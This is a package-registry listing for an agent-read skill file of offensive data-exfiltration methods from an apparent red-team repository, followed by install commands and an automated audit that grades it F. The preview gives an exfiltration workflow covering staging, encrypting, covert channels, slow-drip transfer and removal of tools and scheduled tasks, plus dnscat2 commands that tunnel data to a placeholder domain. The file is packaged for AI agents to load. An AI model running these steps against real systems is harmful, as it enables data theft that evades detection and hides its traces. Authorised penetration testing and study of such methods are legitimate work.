offensive-data-exfiltration skillF
offensive-data-exfiltration is agent-read markdown (skill) from snailsploit/claude-red: Dense methodology covering DNS exfiltration (dnscat2, iodine, dns2tcp), HTTPS tunneling (domain fronting, CDN abuse, legitimate service channels), ICMP tunneling (icmpsh, ptunnel-ng), cloud storage dead drops (S3 presigned URLs, Azure Blob SAS tokens, GCS signed URLs), email-based exfil (SMTP, EWS, draft method), steganography (image, audio, document metadata), encoding/encryption (base64 chunking, XOR, AES), covert channels (custom protocol tunneling, HTTP header encoding, timing channels), and.
Indexed from public GitHub and served as immutable, content-addressed versions. Install it pinned to an exact SHA-256 with the mdr CLI, and every file is verified against the hash recorded here before it reaches your agent. The deterministic audit below grades the latest version, and the same file always earns the same grade.
What the file says
# Data Exfiltration -- Offensive Methodology ## Quick Workflow 1. **Inventory target data.** Map files, databases, credentials. Assess volume and classification. 2. **Stage.** Copy to a controlled directory. Strip unnecessary metadata and deduplicate. 3. **Compress and split.** Tar/zip, then chunk for your channel (DNS < 253 bytes/label; HTTPS tolerates MB). 4. **Encrypt.** AES-256-GCM or ChaCha20 every chunk. Never exfiltrate plaintext. 5. **Select channel.** DNS (port 53 only), HTTPS (web allowed), ICMP (ping allowed), cloud (SaaS access). 6. **Transmit.** Slow-drip for stealth; burst when you have a short window. Match baseline traffic rates. 7. **Verify receipt.** Recompute SHA-256 on the receiving end and compare against source manifest. 8. **Clean up.** Securely delete staging, temp files, dropped tools, and any scheduled tasks. --- ## DNS Exfiltration MITRE: T1048.003 -- Exfiltration Over Alternative Protocol: DNS ### dnscat2 ```bash # Server -- set NS record for exfil.yourdomain.com -> your_server_ip first ruby dnscat2.rb exfil.yourdomain.com --secret=YourSharedSecret # Client on target ./dnscat --dns=domain:exfil.yourdomain.com --secret=YourSharedSecret …
Read the whole file at its exact version.
How to install
mdr add snailsploit/claude-red/offensive-data-exfiltration@git:20260826.4c7fcfdmdr add snailsploit/claude-red/offensive-data-exfiltration@sha256:ae48370b98336536Pin to a label to follow the author's releases, or to a sha256 to freeze the exact bytes forever. Either way the resolved hash is written to mdr.lock, and mdr install reproduces it on any machine.
[](https://markdownregistry.com/a/art_hr6xgg4rvhj354ea)
1 badge views in 30 days
Versions
| version | committed | commit | size | audit | |
|---|---|---|---|---|---|
| git:20260826.4c7fcfd latest | 2026-08-26 | 4c7fcfd | 19,708 B | F | view · diff |
| git:20260825.f7a0553 | 2026-08-25 | f7a0553 | 23,263 B | B | view · diff |
| git:20260825.900e4c2 | 2026-08-25 | 900e4c2 | 25,752 B | B | view |
Audit of the latest version
- FAIL, critical: No link to an exfiltration or paste host (matched: https://pastebin.com)
- pass: Frontmatter block present
- pass: Frontmatter declares a name
- pass: Frontmatter declares a description
- pass: Size between 200 bytes and 200 KB (19708 bytes)
- pass: No zero-width or bidi control characters
- pass: No instruction hidden inside an HTML comment
- pass: No credential-shaped string
- pass: No instruction to send local credentials anywhere
- pass: No text hidden with inline styles
- pass: No prompt-injection phrasing
- pass: No curl or wget piped into a shell
- pass: No recursive delete of root, home or parent
- pass: No instruction to read or print local credentials
- pass: No base64 blob over 200 characters
- pass: No link to a raw IP address
- pass: No script tag
Source
snailsploit/claude-red · 6,831 stars · license MIT · pushed 2026-09-19 · branch main
API
GET https://markdownregistry.com/api/v1/artifacts/art_hr6xgg4rvhj354ea GET https://markdownregistry.com/api/v1/resolve?ref=snailsploit/claude-red/offensive-data-exfiltration GET https://markdownregistry.com/api/v1/blob/ae48370b98336536e9012d7b3f16ffb8abf745fdd8da78213fa3fd065c9c0534
Your agent does the legwork. You hear about the deals worth your word. Hand yours the standing instructions at modelranch.com and it joins the network that reads files like this one.
More from snailsploit/claude-red
Every file in snailsploit/claude-red